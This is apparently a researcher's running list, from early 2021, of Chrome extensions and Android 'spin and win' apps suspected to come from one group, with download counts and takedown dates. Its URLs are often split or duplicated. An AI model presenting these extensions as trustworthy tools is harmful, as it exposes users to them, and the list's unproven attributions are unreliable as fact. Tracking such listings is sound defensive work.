https://chrome.google.com/webstore/detail/bonus-links/adljjbeichajpdjbdeddhlnpekbgbhaf/support
https://chrome.google.com/webstore/detail/hdmoviesearch/ciemldlbecaohelcffdkcnbdkfakdcac?utm_source=lp
https://chrome.google.com/webstore/detail/hdmoviesearch/ciemldlbecaohelcffdkcnbdkfakdcac?utm_source=lp


https://chrome.google.com/webstore/detail/streamsitesearch/mfmpahmdncaiocgioclbgoahlfalfhn
p?utm_source=lp 
 
62,000 downloads as of 1/17/2021 
102,000 downloads as of 1/19/2021 
102,000 downloads as of 1/21/2021 
102,000 downloads as of 1/25/2021 
180,000 downloads as of 1/27/2021 
190,000 downloads as of 1/29/2021 
210,000 downloads as of 2/7/2021 
179,000 downloads as of 2/24/2021 (1 extension was terminated) 
 
 
 
New 1/19/2021 
https://chrome.google.com/webstore/detail/shopping-exp/npmkbngbmandpppghaknilcifambhma
d 
https://chrome.google.com/webstore/detail/magicmoviesearch/hekgchbhgdegfomkakbcdonbjnfp
flfh?utm_source=lp 
 
1,000 downloads as of 1/19/2021 
35,000 downloads as of 1/27/2021 
17,000 downloads as of 2/14/2021 (2 extensions terminated) 
 
 
New 1/27/2021 
https://chrome.google.com/webstore/detail/clean-cookie-guru/mobjbbeibgionkghljfoeonnohlomg
dp 
 
4,000 downloads as of 1/27/2021 
10,000 downloads as of 1/29/2021 
9,000 downloads as of 2/7/2021 
 
New 1/29/2021 
https://chrome.google.com/webstore/detail/video-adblocker/imjnhcoogkbmemieaehgnopdleejnm
ll 
 
100,000 downloads as of 1/29/2021 
200,000 downloads as of 2/7/2021 
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https://chrome.google.com/webstore/detail/clean-cookie-guru/mobjbbeibgionkghljfoeonnohlomgdp/support
https://chrome.google.com/webstore/detail/clean-cookie-guru/mobjbbeibgionkghljfoeonnohlomgdp/support
https://chrome.google.com/webstore/detail/video-adblocker/imjnhcoogkbmemieaehgnopdleejnmll?subid=004
https://chrome.google.com/webstore/detail/video-adblocker/imjnhcoogkbmemieaehgnopdleejnmll?subid=004


 
New 2/11/2021 
https://chrome.google.com/webstore/detail/youtube-adblocker/imjnhcoogkbmemieaehgnopdleej
nmll 
https://chrome.google.com/webstore/detail/video-ads-blocker/omlnfcbihimoegfgffnmmabogfpdpp
pa 
https://chrome.google.com/webstore/detail/searchpdfconverter/lclcldpkdbelojhldlphaphmhofegd
ak?utm_source=lp 
https://chrome.google.com/webstore/detail/hdsportsearch/cpdccciomiehnollheboilabphjhgnml?ut
m_source=lp 
https://chrome.google.com/webstore/detail/fileconvertersearches/pacopnfmngmkhdlmedepfmobl
olhiaie?utm_source=lp 
https://chrome.google.com/webstore/detail/searchconverterpro/hjnfhgckomdbflopemgjbncbkdeih
hlb?utm_source=lp 
https://chrome.google.com/webstore/detail/sportsearchmaster/noiekhgnggddnkfpifilpndnbakocdj
c?utm_source=lp 
https://chrome.google.com/webstore/detail/365scores-live-scores-and/nmpppefjehmjbiplimkfjea
mnohldmko 
https://chrome.google.com/webstore/detail/searchconverterbox/eljfdlaehigbfaejjnobejbcpmomep
nm?utm_source=lp 
 
 
New 2/14 
https://chrome.google.com/webstore/detail/gamesearcher/bfnhoddhapmmplpkmbgehgnhdmfbkj
od?utm_source=lp 
 
3,000 downloads on 2/14 
 
New 2/14 (was previously found months ago in the below list) 

https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnol
nb 

20,000 downloads on 2/14 

 

 

 

New 2/14 (7,000 downloads) 

https://chrome.google.com/webstore/detail/anygamesearch/cneeapnjflfgmlffolfefiehoclcmdkn?
utm_source=lp 

 

New 2/14 (4,000 downloads) 

https://chrome.google.com/webstore/detail/youtube-adblocker/imjnhcoogkbmemieaehgnopdleejnmll
https://chrome.google.com/webstore/detail/youtube-adblocker/imjnhcoogkbmemieaehgnopdleejnmll
https://chrome.google.com/webstore/detail/video-ads-blocker/omlnfcbihimoegfgffnmmabogfpdpppa
https://chrome.google.com/webstore/detail/video-ads-blocker/omlnfcbihimoegfgffnmmabogfpdpppa
https://chrome.google.com/webstore/detail/hdsportsearch/cpdccciomiehnollheboilabphjhgnml?utm_source=lp
https://chrome.google.com/webstore/detail/hdsportsearch/cpdccciomiehnollheboilabphjhgnml?utm_source=lp
https://chrome.google.com/webstore/detail/fileconvertersearches/pacopnfmngmkhdlmedepfmoblolhiaie?utm_source=lp
https://chrome.google.com/webstore/detail/fileconvertersearches/pacopnfmngmkhdlmedepfmoblolhiaie?utm_source=lp
https://chrome.google.com/webstore/detail/searchconverterpro/hjnfhgckomdbflopemgjbncbkdeihhlb?utm_source=lp
https://chrome.google.com/webstore/detail/searchconverterpro/hjnfhgckomdbflopemgjbncbkdeihhlb?utm_source=lp
https://chrome.google.com/webstore/detail/searchconverterbox/eljfdlaehigbfaejjnobejbcpmomepnm?utm_source=lp
https://chrome.google.com/webstore/detail/searchconverterbox/eljfdlaehigbfaejjnobejbcpmomepnm?utm_source=lp
https://chrome.google.com/webstore/detail/gamesearcher/bfnhoddhapmmplpkmbgehgnhdmfbkjod?utm_source=lp
https://chrome.google.com/webstore/detail/gamesearcher/bfnhoddhapmmplpkmbgehgnhdmfbkjod?utm_source=lp
https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnolnb
https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnolnb


https://chrome.google.com/webstore/detail/coolstreamsearch/blijkdeookckchojnjobhgninmepig
ni?utm_source=lp 

 

New 2/16 (0 downloads) 

https://chrome.google.com/webstore/detail/enhanced-links/dlmkjcggjhgienoiabdbdbnflcagddj
b/support 

 

 

 

 
 
 
 
These seem to be a different operation but owned by the same group of individuals. 
https://chrome.google.com/webstore/detail/web-safety/fpckohnjiaonmklkjnlplokplhhijalm 
https://chrome.google.com/webstore/detail/privacy-tools-by-securybr/kjincgipkjkimkcmolmajgcfp
djbckgc?hl=en 
300,000+ downloads as of 1/17/2021 
400,000+ downloads as of 1/27/2021 
 
 
 
New extensions (1/21/2021) from this “different operation” that looks more and more to be the 
same:​
 
https://chrome.google.com/webstore/detail/movie-locator/hmidecapadojfngcdppfpmgfjnjiofce/ 
https://chrome.google.com/webstore/detail/ez-cookie-delete/bnnoikemikpkjkocebkkckkanlpmiob
h/ 
1/27/2020 = 6,000 downloads 
 
 
New 2/7/2021 
https://chrome.google.com/webstore/detail/less-notifications/ffdlfbiemgajjagapbhaajdldidhdhfn 
2/7/2021 = 20,000 downloads 
 
 
 
New browser extensions found with the same footprint. 
 
 

https://chrome.google.com/webstore/detail/score-stars/bicdnhmjiinbaggngjkiobkaaipcgplo 

https://chrome.google.com/webstore/detail/coolstreamsearch/blijkdeookckchojnjobhgninmepigni?utm_source=lp
https://chrome.google.com/webstore/detail/coolstreamsearch/blijkdeookckchojnjobhgninmepigni?utm_source=lp
https://chrome.google.com/webstore/detail/enhanced-links/dlmkjcggjhgienoiabdbdbnflcagddjb/support
https://chrome.google.com/webstore/detail/enhanced-links/dlmkjcggjhgienoiabdbdbnflcagddjb/support
https://chrome.google.com/webstore/detail/web-safety/fpckohnjiaonmklkjnlplokplhhijalm
https://chrome.google.com/webstore/detail/privacy-tools-by-securybr/kjincgipkjkimkcmolmajgcfpdjbckgc?hl=en
https://chrome.google.com/webstore/detail/privacy-tools-by-securybr/kjincgipkjkimkcmolmajgcfpdjbckgc?hl=en
https://chrome.google.com/webstore/detail/movie-locator/hmidecapadojfngcdppfpmgfjnjiofce/
https://chrome.google.com/webstore/detail/ez-cookie-delete/bnnoikemikpkjkocebkkckkanlpmiobh/
https://chrome.google.com/webstore/detail/ez-cookie-delete/bnnoikemikpkjkocebkkckkanlpmiobh/
https://chrome.google.com/webstore/detail/less-notifications/ffdlfbiemgajjagapbhaajdldidhdhfn
https://chrome.google.com/webstore/detail/score-stars/bicdnhmjiinbaggngjkiobkaaipcgplo


https://chrome.google.com/webstore/detail/sirris-app/ohhmombkgconbonmlinpobinkcmobhdi 

https://chrome.google.com/webstore/detail/alpha-search/kfjbifmpgaikpmmdlfjhdmgiolpljmel 

https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjk
hcodbllohlobkpko 

https://chrome.google.com/webstore/detail/searchguard-%E2%80%94-smart-searc/ioemepjpplneldnh
flchbllkbjgfceho 

https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjk
hcodbllohlobkpko 

https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnol
nb 

https://chrome.google.com/webstore/detail/getsearchstreams/dkobomfbjmjnjgnfjpbkdkmegnfcclgk 

https://chrome.google.com/webstore/detail/eazywebplus/nkbbjigpajopcmjmphfhocdpnhkeiikm 

https://chrome.google.com/webstore/detail/direct-search-online/bffkjdkbmldjgfibfhggllfpldoepcld 

https://chrome.google.com/webstore/detail/quick-search-tool/jlpenjcbjaocajkajjklmfomhohiodfa 

https://chrome.google.com/webstore/detail/power-search-for-chrome/jhnhhbbkpcemehnimghkpmpd
ameaandj 

https://chrome.google.com/webstore/detail/link-default-search/fifpkjagafdckhnomdnofihggfddgddd 

 

 
​
These extensions below have been removed recently! 
 
https://chrome.google.com/webstore/detail/globalpdfconvertersearch/dgpckbdmiphipdecfodandp
iecjieclj - (80,000+ downloads 1/17/2021) 
https://chrome.google.com/webstore/detail/pblocker+/kkajmehjkhoeaelebdngodpejoibnakc  - 
(100,000+ downloads 1/13/2021) 
https://chrome.google.com/webstore/detail/omyweb/ppngamoocmkjplhhopophhpakmnjhffj 
(removed 1/21/2021) 
https://chrome.google.com/webstore/detail/shopping-lovers/dphnjaeiinieomigihkfeghbjlcfmiia 
(removed 1/27/2021) 
https://chrome.google.com/webstore/detail/video-search/jfhdjigndbdhicmaknnecfdnjimfmmma 
(removed 2/13) 
https://chrome.google.com/webstore/detail/z-lock/mohnmkmcdlebclpnldalamfkhfpfdbml 
(removed 2/13) 
https://chrome.google.com/webstore/detail/clean-history-eraser/lcdhapbbfadpehokhnegeegmphi
kcdbn/ 
(removed 2/13) 
 
 
 

https://chrome.google.com/webstore/detail/sirris-app/ohhmombkgconbonmlinpobinkcmobhdi
https://chrome.google.com/webstore/detail/alpha-search/kfjbifmpgaikpmmdlfjhdmgiolpljmel
https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjkhcodbllohlobkpko
https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjkhcodbllohlobkpko
https://chrome.google.com/webstore/detail/searchguard-%E2%80%94-smart-searc/ioemepjpplneldnhflchbllkbjgfceho
https://chrome.google.com/webstore/detail/searchguard-%E2%80%94-smart-searc/ioemepjpplneldnhflchbllkbjgfceho
https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjkhcodbllohlobkpko
https://chrome.google.com/webstore/detail/chrome-protect-%E2%80%94-smart-se/mhijjfhmpocbdbjkhcodbllohlobkpko
https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnolnb
https://chrome.google.com/webstore/detail/myconvertersearch/offoigmladagkfoooemdbgmbahnnolnb
https://chrome.google.com/webstore/detail/getsearchstreams/dkobomfbjmjnjgnfjpbkdkmegnfcclgk
https://chrome.google.com/webstore/detail/eazywebplus/nkbbjigpajopcmjmphfhocdpnhkeiikm
https://chrome.google.com/webstore/detail/direct-search-online/bffkjdkbmldjgfibfhggllfpldoepcld
https://chrome.google.com/webstore/detail/quick-search-tool/jlpenjcbjaocajkajjklmfomhohiodfa
https://chrome.google.com/webstore/detail/power-search-for-chrome/jhnhhbbkpcemehnimghkpmpdameaandj
https://chrome.google.com/webstore/detail/power-search-for-chrome/jhnhhbbkpcemehnimghkpmpdameaandj
https://chrome.google.com/webstore/detail/link-default-search/fifpkjagafdckhnomdnofihggfddgddd
https://chrome.google.com/webstore/detail/globalpdfconvertersearch/dgpckbdmiphipdecfodandpiecjieclj
https://chrome.google.com/webstore/detail/globalpdfconvertersearch/dgpckbdmiphipdecfodandpiecjieclj
https://chrome.google.com/webstore/detail/pblocker+/kkajmehjkhoeaelebdngodpejoibnakc
https://chrome.google.com/webstore/detail/omyweb/ppngamoocmkjplhhopophhpakmnjhffj
https://chrome.google.com/webstore/detail/shopping-lovers/dphnjaeiinieomigihkfeghbjlcfmiia
https://chrome.google.com/webstore/detail/video-search/jfhdjigndbdhicmaknnecfdnjimfmmma
https://chrome.google.com/webstore/detail/z-lock/mohnmkmcdlebclpnldalamfkhfpfdbml
https://chrome.google.com/webstore/detail/clean-history-eraser/lcdhapbbfadpehokhnegeegmphikcdbn/support
https://chrome.google.com/webstore/detail/clean-history-eraser/lcdhapbbfadpehokhnegeegmphikcdbn/support


 
 
 
 
 
APPS 
 
 
These apps are being promoted by sending users to Bing for the query of this app to download. 
Query “spin and win real money app”. 
 
https://play.google.com/store/apps/details?id=com.earnmoneyonline.spinandwinjackpot&hl=en_
US&gl=US&showAllReviews=true 
https://play.google.com/store/apps/details?id=spin.towin.coin&hl=en_US&gl=US&showAllRevie
ws=true 
https://play.google.com/store/apps/details?id=com.spinandwinjackpotcash.app&hl=en_US&gl=U
S&showAllReviews=true 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
CHECK BACK SOON - This list is being updated daily! 
 
Last Updated: 1/22/21 - 8:40 AM PST! 
 
ADDITIONAL DOMAINS 
 
An additional 3,600+ domains can be found in the older Google Document found here: 
https://docs.google.com/document/d/1z43WugqqgyVjNy6-IPgON118YaE0HxrgRMKbVwW
42NM/edit?usp=sharing 

https://play.google.com/store/apps/details?id=com.earnmoneyonline.spinandwinjackpot&hl=en_US&gl=US&showAllReviews=true
https://play.google.com/store/apps/details?id=com.earnmoneyonline.spinandwinjackpot&hl=en_US&gl=US&showAllReviews=true
https://play.google.com/store/apps/details?id=spin.towin.coin&hl=en_US&gl=US&showAllReviews=true
https://play.google.com/store/apps/details?id=spin.towin.coin&hl=en_US&gl=US&showAllReviews=true
https://play.google.com/store/apps/details?id=com.spinandwinjackpotcash.app&hl=en_US&gl=US&showAllReviews=true
https://play.google.com/store/apps/details?id=com.spinandwinjackpotcash.app&hl=en_US&gl=US&showAllReviews=true
https://docs.google.com/document/d/1z43WugqqgyVjNy6-IPgON118YaE0HxrgRMKbVwW42NM/edit?usp=sharing
https://docs.google.com/document/d/1z43WugqqgyVjNy6-IPgON118YaE0HxrgRMKbVwW42NM/edit?usp=sharing


 
Now have API endpoints with 24/7 updating links. Contact stevenp8844@gmail.com for access. 

mailto:stevenp8844@gmail.com

